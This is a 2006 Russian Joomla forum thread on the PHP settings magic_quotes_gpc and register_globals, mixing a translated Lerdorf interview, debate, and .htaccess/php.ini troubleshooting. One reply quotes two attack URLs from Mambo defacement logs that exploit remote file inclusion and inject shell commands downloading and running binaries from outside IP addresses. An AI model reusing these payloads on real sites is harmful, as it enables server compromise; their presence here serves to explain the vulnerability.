Форум русской поддержки Joomla!® CMS
26.02.2017, 14:11:38 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 3.0 FAQ Joomla 2.5 FAQ Joomla 1.5 FAQ Правила форума Новости Joomla Реклама Войти Регистрация Помощь  
Joomla - марафон. Сайт на миллион
Страниц: [1]   Вниз
  Добавить закладку  |  Печать  
Автор

Magic Quotes и Register Globals

 (Прочитано 90695 раз)
0 Пользователей и 1 Гость смотрят эту тему.
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« : 14.06.2006, 14:15:36 »

Самые частые из возникаемых вопросов - это требования при установке джумлы к:
magic_quotes_gps on
register_globals off

почему?..
для начала приведу выдержку из перевода интервью Расмуса Лердорфа для SitePoint (перевод опубликован на phpclub, полностью можно прочитать здесь)

SP: Какова ваша точка зрения на Magic Quotes* и Register Globals**?

* Опция, включающая автоматическое добавление обратного слеша к кавычкам в данных, приходящих из форм и HTTP-запросов. В SQL-запросах текстовые строки выделяются кавычками. Чтобы вставить строку, содержащую в себе кавычки, их нужно выделить ("эскейпить") обратными слешами ("\"). Это делается либо при помощи функции addslashes, либо автоматически при включенной опции Magic Quotes (прим. переводчика).

** Данные из POST и GET запросов (и аналогично других типов источников) доступны в массивах $HTTP_POST_VARS, $HTTP_GET_VARS. Например, значение поля name из формы будет находиться в $HTTP_POST_VARS["name"]. Опция Register Globals делает данные из этих запросов доступными по "простым" именам переменных. В данном примере — $name (прим. переводчика).

RL: Register Globals — одна из особенностей, которая привела людей в PHP. Простота создания веб-приложений, когда форма и другие переменные были автоматически доступны не может быть побеждена.

Лично я не был за выключение опции Register Globals по умолчанию. Это очень мало увеличивает общую безопасность приложения. Если люди не проверяют данные, приходящие от пользователя, тогда и без, и с включенными Registered Globals это приложение будет небезопасным.

Иметь отключенные Register Globals полезно только в одном случае — когда вы забываете инициализировать переменную до её использования, и кто-то, кто знает ваш код, использует это. Меняя уровень сообщений об ошибках, вы можете дать PHP найти эти случаи автоматически. В итоге, я думаю, всё, что сделало отключение Register Globals — это усложнило написание приложений на PHP.

И ещё это сделало нам 10-20 вопросов/сообщений об ошибках в день от пользователей, которых сбило с толку это изменение.

Magic Quotes появились в те дни, когда PHP использовался в основном исключительно для приложений, работающих на базах данных. Эти программы принимали данные из формы и вставляли их в базу. Даже сегодня куча скриптов на PHP делают чуть больше этого.

Вам всё время нужно эскейпить кавычки перед тем, как вставлять строку в базу данных. Если вы этого не делаете, вы получаете уродскую ошибку SQL, и ваша программа не работает. После объяснения этого простого факта людям в пятидесятый раз на дню я решил, что с меня хватит, и заставил PHP эскейпить строки на лету. Таким образом, программы будут работать, а худшее, что может произойти — это кто-то увидит лишний обратный слеш ("\") на экране, когда они выводят данные напрямую вместо вставки их в базу.

Часто люди даже не замечают лишний \, поскольку это не вызвало фатальных ошибок SQL, и поэтому меня не приводят в замешательство письма с вопросами, что же происходит. Это было очень здорово.

Даже сегодня вы можете увидеть случайный сайт, где, очевидно, автор не осознавал, что данные нужно эскейпить перед вставкой в базу, и вы видите то тут, то там \. Каждый из этих сайтов — это письмо на саппорт, на которое нам не нужно было отвечать.

Информированные люди, которым не нравится эта фича, могут отключить её сами и управляться со всеми кавычками самостоятельно. А информированные, которые хотят писать компактные программы, могут просто проверить настройки, используя get_magic_quotes_gpc() и добавить вызов addslashes(), где нужно.


magic_quotes_gpc и register_globals являются настроечными константами, указывающими РНР, как ему работать (файл php.ini). Иногда некоторые хостеры позволяют выполнять настройку апачи из .htaccess посредством установки флагов или значений через php_flag или php_value, но в последнее время из-за увеличивающегося числа неопытных пользователей, хостеры всё чаще стараются отключать эту возможность. Так что при попытке изменить настройки php через .htaccess вы можете просто сделать свой сайт неработоспособным.
Договаривайтесь с хостерами!

Перейдём к комментариям и начнём с magic_quotes_gpc
Перевести это можно как "волшебные кавычки".
Как для PHP, так и для MySQL кавычки носят смысл не только текста, а ещё и управляющего (объединяющего) символа. И, если внутри одного выражения/текста появится "несанкционированная" кавычка, то это может привести к некорректному завершению выражения и, соответственно, к нарушениям при записи информации в БД.
В связи с ростом числа "любителей" в среде программистов на РНР, забывающих принудительно выполнять соответствующие преобразования с текстом, было решено ввести такую функцию для "забывчивых товарисчей" Azn
Естественно, что никто не застрахован от таких "недочётов" в коде, поэтому лучше чтобы эта функция была включена. И это не всегда, а чаще всего, действительно, невозможно сделать через .htaccess, поэтому обращайтесь к своему хостеру.

Теперь про register_globals.
Неоднозначно...
Суть - если эта опция включена, то результат приводит к доступности глобальных переменных, а так же переменных массива передаваемых параметров (через POST/GET) в области видимости любой функции.
Классно? Ага!!!... Да нет, оказалось, что не очень... Sad
Наличие потенциального "свободно гуляющего" кода во всей области выполнения программы всё же пугает и потенциально способствует ухудшению безопастности и увеличения вероятности взлома вследствие недосмотра программиста при парсинге передаваемых параметров.
К сожалению, никто так толком и не может доказать плохо это или хорошо...

Что же касается Джумлы, то переменные в массивах POST, GET, REQUEST... эмулируются через _POST, _GET, _REQUEST и т.д., а извлекаемые данные проверяются внутренними средствами. Т.о. програмист не "привязан" к тому, как выставлено register_globals on или off, а получение данных из передаваемых параметров рекомендуется производить через API переменной $mainframe, в частности, через функцию getUserStateFromRequest(...).
Так вы обезопасите свой код от "посягательств" с стороны.
« Последнее редактирование: 13.10.2006, 12:20:39 от Yana » Записан
 
Dead Krolik
Joostina
*****

Репутация: +33/-4
Offline Offline

Пол: Мужской
Сообщений: 133


Теперь я рыбка


« Ответ #1 : 29.06.2006, 22:00:51 »

Поздно я заметил топик.

Цитировать
Наличие потенциального "свободно гуляющего" кода во всей области выполнения программы всё же пугает и потенциально способствует ухудшению безопастности и увеличения вероятности взлома в следствие недосмотра программиста при прасинге передаваемых параметров.
К сожалению, никто так толком и не может доказать плохо это или хорошо...
Если ты выражаешь свое мнение, то давай покажи на примерах - где это плохо. То что регистер_глобалс=On - дыра - БРЕД. Хотя бы один пример.

Цитировать
Что же касается Джумлы, то переменные в массивах POST, GET, REQUEST... эмулируются через _POST, _GET, _REQUEST и т.д.
А что такое POST-массив. Есть _POST, а вот про POST не слыхал. Поясни.

Цитировать
Т.о., програмист не "привязан" к тому, как выставлено register_globals on или off, а получение данных из передаваемых параметров рекомендуется производить через API переменной $mainframe, в частности, через функцию getUserStateFromRequest(...).
Понял что написал? Я не привязан в одном случае - если беру данные из _POST а не глобальную юзаю. Проблемы нет. И не надо ее придумывать. Хотя все переменные из этих _POST и _GET до сих пор (!) по-любому экстрактятся в глобальные.
гетЮзерСтейт вообще бредятина, просто тягать из _SESSION (или из _COOKIES, не помню точно) для этого надо заводить такую длинную функцию? Чего проще уж в mosGetParam запихать.
Записан
smart
Администратор
*******

Репутация: +1309/-14
Offline Offline

Пол: Мужской
Сообщений: 6850


снова дома...


« Ответ #2 : 29.06.2006, 22:31:58 »

То что регистер_глобалс=On - дыра - БРЕД. Хотя бы один пример.
то, что переменные запроса автоматически мапятся на переменные скрипта не есть хорошо, конечно, при корректно написанном скрипте это не помеха, но если речь идет о безопасности в целом, то это нафиг никому не нужная фича.

если просматривать логи дефейсов мамбы, то очень часто встречаешь:

вот простой пример:
/index2.php?option=com_content&do_pdf=1&id=1&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20ar%20http://207.90.211.54/ar;chmod%20744%20ar;./ar;echo%20YYY;echo|
/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.123.16.34/cmd.gif?&cmd=cd%20/tmp;wget%20209.123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;

и т.д. 
« Последнее редактирование: 29.06.2006, 22:46:23 от smart » Записан
Dead Krolik
Joostina
*****

Репутация: +33/-4
Offline Offline

Пол: Мужской
Сообщений: 133


Теперь я рыбка


« Ответ #3 : 30.06.2006, 17:47:46 »

>но если речь идет о безопасности в целом, то это нафиг никому не нужная фича
Если речь идет о криворукости, то фича конечно нафиг. Но еррор_репортинг=E_ALL и все будет хорошо.

Дыра в мамбе - это дыра, причем регистер_глобалс тут ни при чем, тут как раз "при чем" девелоперы которые это эмулируют через одно место. Очень темное и вонючее.
Записан
era
Администратор
*******

Репутация: +383/-5
Offline Offline

Пол: Мужской
Сообщений: 1703


В туалете лучше быть пользователем, чем админом.


« Ответ #4 : 18.07.2006, 10:39:48 »

вот ещё примеры:
h_p://xakker.h14.ru/uaz_sitedefei.shtml
Записан
era
Администратор
*******

Репутация: +383/-5
Offline Offline

Пол: Мужской
Сообщений: 1703


В туалете лучше быть пользователем, чем админом.


« Ответ #5 : 18.07.2006, 11:32:24 »

Ну чисто теоретически остаётся 3-и возможности:
1. При новых уязвимостях Joomla - обновляться.
2. Внутренние угрозы связаные с Shared хостингом (это когда несколько сайтов на одном сервере).
Н-р: Всё тот же хостер, есть например у тебя всё тот-же сайт vasya.ru по пути /var/www/vasya_ru/htdocs/ (пользователь vasya_ru)
а на этом-же сервере есть другой пользователь petya_ru с сайтом petya.ru по пути /var/www/petya_ru/htdocs/

получается что если у тебя на сервере лежат файлы и директории с правами 777, то пользователь petya_ru чисто теоритечки может эти самые файлы/директории редактировать, т.к. ты дал права "можно всем читать писать исполнять". Тут уж конечно и от хостера зависит многое (он должен правильно расставлять права на директории /var/www/логин_юзера), но и от тебя кое-что тоже зависит.

3. Уязвимости ПО самого сервера - ну тут просто курить, от хостера зависит.

наверное всё, исключая очень внештатных ситуаций, как например утечка всех логинов и паролей клиентов у Валуя толи в прошлом, то-ли в позопрошлом году.
Записан
Sedoy
Support Team
*****

Репутация: +86/-10
Offline Offline

Пол: Мужской
Сообщений: 913


Интересно,в какой кодировке пишут врачи?


« Ответ #6 : 24.07.2006, 13:01:44 »

Вот Странник на ру-мамбо написал:
"Последние версии мамбо и джумла абсолютно защищены даже при включенном register globals (в этом случае используется так называемая эмуляция режима register globals = Off). "

где эта эмуляция включается? доступна ли она в админке или нужно прописывать в хатсесе что то (кроме php_value register_globals off)? т.к. php.ini недоступен на хосте
Записан
smart
Администратор
*******

Репутация: +1309/-14
Offline Offline

Пол: Мужской
Сообщений: 6850


снова дома...


« Ответ #7 : 24.07.2006, 13:12:14 »

где эта эмуляция включается?
необходимо файл globals.php-off переименовать в globals.php, переписав существующий...
Записан
Sedoy
Support Team
*****

Репутация: +86/-10
Offline Offline

Пол: Мужской
Сообщений: 913


Интересно,в какой кодировке пишут врачи?


« Ответ #8 : 24.07.2006, 13:26:04 »

необходимо файл globals.php-off переименовать в globals.php, переписав существующий...

smart, для тех кто в танке (это я Azn ) скажи так или нет, у меня сейчас так:
в хатсесе: php_value register_globals 0
в корне (WWW) два файла: globals.php и globals.php-off - то есть я последний переименовываю и заменяю первый - так?
если да то в хатсесе оставить или закоментировать строку: php_value register_globals 0 ?
Записан
Dead Krolik
Joostina
*****

Репутация: +33/-4
Offline Offline

Пол: Мужской
Сообщений: 133


Теперь я рыбка


« Ответ #9 : 24.07.2006, 13:37:48 »

по-моему php_value register_globals 0 должно хватить
Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #10 : 24.07.2006, 13:40:02 »

если register_globals off и работает, то этого достаточно, точнее, второе будет бестолку.

зы. кстати, понятия не имею, можно ли вместо off писать 0...
Записан
Sedoy
Support Team
*****

Репутация: +86/-10
Offline Offline

Пол: Мужской
Сообщений: 913


Интересно,в какой кодировке пишут врачи?


« Ответ #11 : 24.07.2006, 13:46:04 »

по-моему php_value register_globals 0 должно хватить

если только так, то как я понимаю - это просто я ставлю его в off, при этом как уже говорилось могут не работать некие расширения, а вопрос касался "эмуляции" которая по видимому дает работать им (расширениям), но при этом register_globals как бы и off - или я что то не довьезжаю? 
Записан
Versed
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 11


« Ответ #12 : 31.08.2006, 19:13:19 »

Ребята, что то блин сложнвато это все. Давайте попорядку. Напишите порядок действий после обновления до 11 версии. При этом ни каких там можно и не можно. Давайте по максимум закроем все Azn
Я сделал так 1) переименовал globals.php-off в просто globals.php (старый файл не удалил а просто тоже переименовал)

2) в .htasses прописано вот что
Код:
#  php_value register_globals off
#  php_value display_errors 0
#  php_value file_uploads 1
#  php_value magic_quotes_gpc 1
#  php_value magic_quotes_runtime 0
вот что стоит.
После всего в админке всеравно показыват *Joomla! Register Globals Emulation:  ON  * и выделяет красным. Как я понял он не согласен с тем что ON
Правильно ли я сделал? И что  еще нужно OFF сделать ?
« Последнее редактирование: 31.08.2006, 19:16:26 от Versed » Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #13 : 31.08.2006, 19:19:34 »

за "решёткой" - это ремарка == код НЕ выполняется.
и не факт, что твой провайдер позволяет изменять php_value
Записан
Versed
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 11


« Ответ #14 : 31.08.2006, 19:37:22 »

Еще забыл спросить. В обновлении есть файл htasses.txt Походу нужно его переименовать в .htasses  а старый файл  прибить ?   И что значит ремарки и не позволяет изменять?
Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #15 : 31.08.2006, 20:46:45 »

Еще забыл спросить. В обновлении есть файл htasses.txt Походу нужно его переименовать в .htasses  а старый файл  прибить ?
очень желательно

И что значит ремарки и не позволяет изменять?
1) значит, что код закомментирован и не будет выполняться
2) значит, что при попытке изменить какое-либо значение через php_value либо ничего не произойдёт, либо увидишь пустой экран.
Записан
Gris
Гость
« Ответ #16 : 08.09.2006, 17:50:18 »

После всего в админке всеравно показыват *Joomla! Register Globals Emulation:  ON  * и выделяет красным. Как я понял он не согласен с тем что ON
Правильно ли я сделал? И что  еще нужно OFF сделать ?

Ставил версию 1.0.11
Как это решил я - в файле globals.php в строчке define( 'RG_EMULATION', 1 ); заменил параметр на ноль.
Записан
alexshm
Новичок
*

Репутация: +2/-0
Offline Offline

Сообщений: 6


« Ответ #17 : 13.09.2006, 14:51:45 »

Запутался совсем, читавши это все.

У меня отключился JoomlaBoard после установки php_value register_globals off и define( 'RG_EMULATION', 0);
 
Экспериментальным путем выяснил, что для работы JBoard
достаточно define( 'RG_EMULATION', 1); при php_value register_globals off

Чем такой вариант чреват с точки зрения безопасности?
Записан
mandalay
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Пол: Мужской
Сообщений: 46


« Ответ #18 : 11.10.2006, 19:18:47 »

Выставляю в .htasses
php_value register_globals off

Сайт вываливаеться в 500-ую ошибку  ????
Записан
Yana
Осваиваюсь на форуме
***

Репутация: +17/-0
Offline Offline

Пол: Женский
Сообщений: 69


Пенсионерка русской поддержки Joomla


« Ответ #19 : 13.10.2006, 12:25:28 »

Для Apache 1.x
php_flag register_globals off

Для Apache 2.x
php_value register_globals 0

http://joomlaportal.ru/content/view/967/68/
Записан
mandalay
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Пол: Мужской
Сообщений: 46


« Ответ #20 : 13.10.2006, 15:27:57 »

Оба варианта - результат 500  Shocked
Трясу хостера....
Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #21 : 13.10.2006, 15:38:39 »

вообще странно...
ведь по идее, register_globals = off - это в интересах хостера - выше безопастность.
почему они ставят on не понятно.
разве что это дефолтовый php.ini и сам php откомпилирован как cgi...
но в этом случае всё очень просто Wink
Записан
mandalay
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Пол: Мужской
Сообщений: 46


« Ответ #22 : 13.10.2006, 17:45:43 »

Всё нормально... хостер скинул дефолтовый php.ini, подправил, выложил в корень, Joomla больше ни чего не советует  Cool
Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #23 : 13.10.2006, 18:09:29 »

Всё нормально... хостер скинул дефолтовый php.ini, подправил, выложил в корень, Joomla больше ни чего не советует  Cool
его же скопируй в папку /administrator/
Записан
mandalay
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Пол: Мужской
Сообщений: 46


« Ответ #24 : 13.10.2006, 19:46:38 »

ОК...
Дело в том, что у меня на аккаунте хостера несколко сайтов...
Структура вроде..
/сайт1/ => www.сайт1.ru
/cайт2/ => www.сайт2.ru
/сайт3/ => www.сайт3.ru
Так вот моя joomla стоит в /сайт1/, если я ложу Php.ini в корень СВОЕГО сайта(/сайт1/), то она ругаеться, мол register_globals не выключен. Я положил его в САМЫЙ КОРЕНЬ (/) вот тут она и замолчала... на сколько я понял теперь php.ini работает на ВСЕ сайты и на полную глубину... Есть ли смысл ложить её в /сайт1/administrator/ ?
Разумееться мне не сложно, просто хотелось разобраться....
Записан
userxp
Практически профи
*******

Репутация: +403/-6
Offline Offline

Пол: Мужской
Сообщений: 2054


Злой и ужасный бармалей


« Ответ #25 : 13.10.2006, 19:57:37 »

то, что об этом говорит админка, вовсе не значит, что это работает для сайта, хотя очень на то похоже.
просто обычно хостер настраивает php.ini по-умолчанию свой.
раз у тебя админка реагирует, то вполне возможно, что настроено так, чтобв дефолтовый php.ini берётся с твоего корня.
в этом случае - всё ок.
Записан
Страниц: [1]   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Powered by SMF 1.1.21 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet